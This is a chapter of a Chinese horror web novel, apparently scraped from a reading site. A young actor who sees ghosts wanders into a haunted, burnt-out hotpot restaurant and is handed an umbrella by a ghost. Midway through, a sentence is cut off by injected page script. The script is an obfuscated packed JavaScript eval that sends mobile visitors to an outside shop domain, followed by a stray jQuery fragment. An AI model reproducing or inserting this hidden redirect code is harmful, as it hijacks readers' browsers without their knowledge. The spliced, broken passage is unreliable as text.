11.借伞
作品:《小可怜替嫁后发现老攻是邪祟》 谈雪慈睡着后又做了个鬼压床的噩梦,等去了剧组,整个人苍白虚脱,眼圈都熬红了,蔫巴巴地坐在化妆间角落。
“卧槽,”经纪人被吓了一跳,担忧地问,“你这样还熬得住吗?吃了药也不管用?”
谈雪慈摇了摇头,连说话的力气都没有,他也觉得自己撞鬼频繁。
而且以前的鬼大部分都不能碰到他,就像他之前在电梯门口碰到的那个女鬼一样,站着吓他一会儿就会离开。
但最近碰到的鬼,每个都杀意很重,尤其是那个鬼婴,甚至还能抓住他小腿。
很多精神分裂患者会出现幻觉,幻听,被害妄想,但真的感觉到有人在掐自己,这种躯体化幻觉比单纯的幻觉严重得多。
是从什么时候开始的呢?
他起初见到鬼婴的时候,那个鬼婴朝他扑过来,但其实并没有碰到他,他回阁楼以后,鬼婴撞不开门就走了。
第一次被这种阴间生物碰到,应该是贺家派来迎亲的纸扎人。
精神分裂患者受到强烈的外部刺激以后,病情可能会加重,也许是被家人抛弃,让他受到了打击,病情才会严重吧。
谈雪慈觉得自己又悟了,他就没再多想。
反正想也没用,他本来就不指望自己长命百岁,能再活两三年就很好了,他不想现在死,但也不想一个人孤零零地活很久。
大概就像爸爸说的那样,他是个祸根,大家碰到他就会倒霉,所以长这么大,连一个真正喜欢他的人都没有。
张妈会帮他把小羊玩偶洗得干干净净,但是也会跪在家里的佛堂前祈祷,说希望他早点死掉,免得夫人再伤心。
陆栖会带他去吃麻辣烫,这辈子头一次有人专门带他去吃饭,但是陆栖一直想把他的屁股卖掉,虽然不知道为什么最后没卖。
谈雪慈还没那么傻,他知道陆栖带他去做的是什么大生意,他不想陪那些老板睡觉,但是又怕他不去,陆哥也不会再理他了。
谈雪慈揉了揉发红的眼眶,化完妆就往片场走,正好看到导演在跟翟放说话。
“翟老师,”导演满脸为难地说,“你这个样子我确实没办法拍啊。”
谈雪慈抬起头看向翟放,顿时愣了愣,翟放昨天状态还很好,堪称清俊,但今天眼皮突然肿了,隐隐还能看到一点血线,下巴凹凸不平,就像里面的填充物移动了一样,整张脸都肿了一圈,比他这个撞鬼的脸色还难看。
上镜本来就显胖,不管男女演员都比普通人瘦很多拍出来才能好看。
翟放现在肉眼看着都很肿,拍出来直接变成发面馒头,又得被网友求教程。
翟放烦得要死,他觉得自己跟谈雪慈八字不合,怎么谈雪慈一来剧组他脸就崩了,他转过头对上谈雪慈,没好气地说:“看什么看?!”
旁边的人都低着头假装没听见。
翟放背后靠山很硬,他对谈雪慈的厌恶装都懒得装,剧组也没人敢说什么。
“翟老师,”导演劝翟放说,“要不你先回去休息一下,晚点儿再拍?”
让他拍他也不敢啊,到时候拍完播出去,翟放肯定又被骂成一大坨屎。
翟放被骂不要紧,但肯定会迁怒其他人,转头把他也骂成一坨屎怎么办。
翟放也知道自己这状态不行,他垮着脸没再说什么,但也没回酒店,因为今天男主也在。
整个剧组咖位最大的就是男主闻遥川。
闻遥川曾经拿过影帝,现在也是名副其实的一线大腕,能来演这个狗血虐恋剧,估计是导演烧高香给求过来的。
翟放想攀闻遥川很久了,之前一直没机会,趁闻遥川在剧组,他肯定要留下来混脸熟。
“闻老师、闻老师……”
闻遥川走过来时,导演跟其他演员都纷纷站起来打招呼,谈雪慈也混在里面,偷偷模仿人类的社交礼仪叫了声闻老师。
他声音不大,但闻遥川偏偏听到了,转过头看向他,挑了下眉说:“小谈病好了?”
闻遥川在剧里演一个痞帅男主,最近打了黑曜石耳钉,黑发修得不太规整,他今年二十七岁,是他们剧组年龄最大的演员,宽肩窄腰,光看身材更偏向熟男,但为了这部戏减重将近二十斤,穿上校服倒也不违和。
谈雪慈迷懵点头。
闻遥川像是随口一问,朝他笑了下也没再多说什么,就去拍戏。
他们一直拍到傍晚六点多,导演有个晚宴要参加,大概晚上十点左右才能回来。
闻遥川没什么影帝架子,跟谈雪慈他们几个主创说:“正好都在剧组,我请你们吃晚饭?学校附近有个不错的火锅店。”
没人驳影帝的面子,大家都纷纷答应。
闻遥川还有点事要处理,就跟他们约好了待会儿七点半在火锅店见。
陆栖手底下不止谈雪慈一个艺人,想着几个演员吃顿饭,应该没什么事,就让谈雪慈自己去,他晚上得陪另一个艺人去录综艺。
翟放开车带其他人走,故意没带谈雪慈,剧组其他人在翟放旁边赔笑,只有孟栀迟疑地转头看了谈雪慈一眼。
她刚入行,不太习惯这个圈子的残酷,没办法像其他人那样捧着翟放,冷落谈雪慈,但她又只是个自身难保的小演员。
她还在原地纠结,就见谈雪慈忽然抬手朝她摆了摆,那是个催她离开的手势。
从她的角度看不清谈雪慈的脸,只能在剧组明暗交错的灯光底下看到谈雪慈冷白的下颌,线条有种奇异的婉约冰冷。
“孟栀呢?”翟放见少了个人,站在车旁回头叫道,“小孟老师?”
孟栀睁圆了眼睛,一步一回头地走掉了。
-
火锅店离学校不远,走路十几分钟,走公交也只有一站,谈雪慈是走过去的。
他走到半路,收到了翟放的消息。
【翟放:三楼,四号包厢,我们要了瓶酒一直没上,你待会儿给带上来。】
谈雪慈垮着小脸,略长的黑发垂下来挡住了那双漂亮又阴郁的眉眼,好似有化不开的浓雾瘴气一样,湿湿冷冷。
翟放总是喜欢指使他做事,也不知道翟放记不记得,其实他们进组之前就见过。
当时他刚跟贺睢谈恋爱,贺睢带他去夜总会跟朋友玩,恰好翟放跟他那个姓徐的金主也在,大概因为那位徐总盯着他看了几秒,翟放一晚上都在不停地使唤他去拿酒。
今晚店里客人很多,谈雪慈掀开门帘进去,就看到每桌上都热气蒸腾,红锅,白锅,更多的是鸳鸯锅,还能闻到一股呛鼻的焦糊味。
也许是糊锅了吧。
谈雪慈想。
他走到前台,对服务员说:“你好……”
这家火锅店灯光有点暗,偏红色的,待久了眼睛不太舒服,谈雪慈抬起手揉了揉。
女服务员留着披肩长卷发,转过头时脸上的妆容很浓,粉底特别死白,显得嘴唇猩红,她轻轻地说:“你要什么呀?”
“你好,”谈雪慈对上她的脸,忍不住蜷了下手指,说,“三楼四号包厢的酒还没送上去。”
“四号包厢?”女服务员跟着念了一遍,然后踩着高跟鞋摇摇晃晃地去给他拿酒。
她走路姿势实在太僵硬了,像喝醉了一样站不稳,谈雪慈往她腿上看了一眼,受伤了吗?
然后脸色顿时僵硬。
女服务员穿了条包臀裙,只露出膝盖以下的小腿,她的两条腿都是淤紫色,像人死后溃烂了很久的颜色,还长着尸斑,脚跟朝前,脚尖朝后,红色的高跟鞋尖对着谈雪慈。
摇摇晃晃。
摇摇晃晃。
谈雪慈屏住呼吸,他扭头就往楼上跑。
“诶——”女服务员叫了他一声,没有叫住,看着他跑去的方向,嘀咕了声,“好害怕啊,怎么去那间了呢……”
谈雪慈找到四号包厢,推开门以后,里面却是另一桌客人。
桌上摆着一个红白鸳鸯锅,还没上菜,几个人听到他开门,都缓缓转过头。
这个包厢灯光更暗了,每个人的脸都黑蒙蒙的,看不太清楚。
【有人来了。】
【他怎么……好像不是一个人啊……】
【来吃吧。】
包厢里还空着一个座位,它们都转过头,漆黑的面容盯着谈雪慈,不停地催促他。
【来吧,来吃吧。】
“对……对不起,”谈雪慈生怕那个女服务员追过来,都没注意包厢里的异常,还以为是自己走错了,他连忙道歉然后关上门,“对不起!”
砰的一声。
【嗬嗬……】
【跑不掉的。】
谈雪慈退出去又看了一眼。
确实是四号包厢……
难道楼层走错了吗?
谈雪慈只能往楼梯口走,然后回头看楼层牌子,也确实是三楼……
三楼的包厢门不知道什么时候全部打开了,每个包厢都能听到火锅咕嘟咕嘟的声音,但除此之外很安静,空气中还带着一阵纸灰味。
谈雪慈颤抖着拿出手机,给闻遥川他们发了消息,没收到任何回复,他只能往楼下走,想看看他们的车在不在。
走到一楼时,突然有人在背后拍了下他的肩膀,谈雪慈被吓得心脏差点跳到嗓子眼,转过头发现是一个老大爷。
对方拄着拐,佝偻着腰,双眼很浑浊,问他,“孩子,你在这儿干什么呢?”
“我……”谈雪慈怯生生地说,“我跟几个朋友在这儿吃饭,找不到他们了。”
老大爷沉默了一会儿,说:“别找了。”
“但是……”谈雪慈迟疑。
“别找了,”老大爷语气加重,“回去吧!”
谈雪慈一愣。
老大爷摇着头离开,“别吃它们的饭,路上不管有什么人叫你,给你什么东西,都别要,回去吧,再晚啊,就回不去了……”
谈雪慈后背被冷汗浸湿,也对,不管他是发病了还是怎么回事,现在回剧组更安全一点。
谈雪慈道了声谢,就往外走,外面不知道什么时候下起了大雨,还好不远处有个公交站,可以避一避,谈雪慈就朝公交站跑过去。
他身体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900313|191614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不好,不敢淋雨,万一再生病请假,真的会被赶走。
公交站牌前除了他只有三个人,都低着头没说话,但也没看手机。
谈雪慈站了几分钟,那种诡异的感觉还是挥之不去,背后不远处的火锅店倒是灯光明亮,看不出一点儿异常。
他突然隐隐有点后悔,是不是不应该出来,但现在回去吗?还是冒着雨回剧组?
谈雪慈想着,往后倒退了几步,不小心撞到了身后的什么人。
对方的大手扶住了他的肩膀,那只手冷得吓人,隔着衣服他都感觉肩膀被浸得冰凉。
谈雪慈被吓了一跳,连忙转过头,小声道歉说:“对不起……”
然而转过去就愣了下。
雨雾冰冷又黏腻,扶住他的是一个很高大的男人,对方肩宽腿长,穿了身冷肃挺括的黑西装,撑着把黑伞,伞沿倾斜下来,挡住了上半张脸,但就算这样也能看出男人相貌出众,对方肤色极其苍白,只有嘴唇殷红,唇角微微勾着,在这样暴雨的夜晚显得鬼气阵阵。
“对……对不起。”谈雪慈咽了咽口水,又小声重复了一遍。
男人比他高了将近一个头,至少有一米九往上,感觉一根手指就能弄死他。
陆哥经常跟他说出门不要惹事。
能打得过你的,你就不要跟他打。
他追着你打,你就跪下来求他少打几下。
谈雪慈:“……”
冷蒙蒙的雨雾底下,谈雪慈无措地抬起小脸,唇肉抿得发红,但那个男人什么都没说,只是将手中的黑伞往前递了递。
“谢谢,”谈雪慈没想到竟然还是个好心人,连忙摇头拒绝说,“我不用。”
他还记得那个老人的话,不能拿别人的东西,他确实听说过,晚上出门碰到有人给你东西,不能拿,看到地上掉了什么,也不能捡。
不然鬼怪就要缠上你了。
男人却没动,握着伞柄的那只手骨节苍白修长,指甲修剪得很干净,手背上青筋浮凸,怎么看都是双能弄死他的手。
谈雪慈跟男人一直僵持,都没注意到站牌旁的几个乘客在男人来了以后终于抬起头,然后畏惧地往远挪了挪。
男人没继续等,他握住谈雪慈的手,将伞柄塞到了谈雪慈手心里。
谈雪慈没能挣扎开,他再怎么样也是个身高一米七六的男生,但手被对方攥在掌心里显得又软又小,稍微用点力,几根手指就开始发红,像白瓷胚被晕了层薄红似的。
他被迫握住冰冷的伞柄,再抬起头时男人却不见了,原地消失。
男鬼啊。
谈雪慈心脏拔凉拔凉,已经数不清这一晚上到底碰到几个鬼了,然而他此刻脑子雾重重的,几乎不能思考,只知道自己有了伞,就能走着回剧组了,他立刻往剧组走。
大概走了七八分钟,雨还在下,但路边霓虹灯亮起,车水马龙,行人脚步匆匆,还时不时传来喇叭的滴滴声。
谈雪慈猛地惊醒,后知后觉地出了一身冷汗,连忙拢着自己的卫衣往学校跑。
闻遥川他们都在文擎楼的一楼大厅,隔着雨雾看到谈雪慈,连忙走过去。
“抱歉小慈,”闻遥川很歉疚地说,“我能这么叫你吧?晚上换地方了,我给你发了消息,你没看到吗?”
谈雪慈一愣,他拿出手机,才看到闻遥川发的消息,但他很确定,刚刚他手机里没这条消息,他又去翻翟放的那条,反倒不见了。
也许从一开始就是鬼。
“我高中就是在嘉禾私立读的,”闻遥川跟他解释说,“以前经常去旁边的裕隆老火锅吃饭,但很多年没来,我不知道它已经倒闭了。”
副导在旁边听到,接话说:“裕隆?那家我也去过,之前好像火灾吧,从三楼一个包厢烧起来的,听说连老板带服务员还有顾客,死了七八个人呢,所以才闭店的。”
“我还听说,”副导神神秘秘地说,“那地方经常一到晚上,店就开了,还会有人问你吃不吃火锅,要是跟它们一起吃,就走不掉喽。”
谈雪慈脸上毫无血色,他将伞放到旁边桌子上,双手都在发抖。
翟放在旁边听着,他简直受够了,因为谈雪慈不见了,他们几个最后什么都没吃,他现在又冷又饿,还得在这儿听神叨叨的鬼故事。
他跟闻遥川打了个招呼,说:“闻老师,我去买点东西吃,给你跟小孟也带几份。”
翟放自己带了伞,但肩膀撞开谈雪慈,伸手拿过谈雪慈的伞就往外走。
闻遥川看到谈雪慈苍白的脸色,迟疑地说:“小慈,你该不会看到什么了吧?”
谈雪慈还没来得及说话,就突然听到外面传来一阵极其惊恐的惨叫。
在场的人都被吓了一跳,连忙出去看。
翟放站在雨地里,转过头,一脸惨白地看向他们,他手中的伞刚走到雨里就突然被浇烂了,像一块一块黏稠黑血一样砸了他满脸。
他下巴的填充物还没吸收好,脸上也凹凸不平,被黑漆漆的污血糊了一脸。
像只从黑色淤泥里刚跳出来的癞蛤蟆。

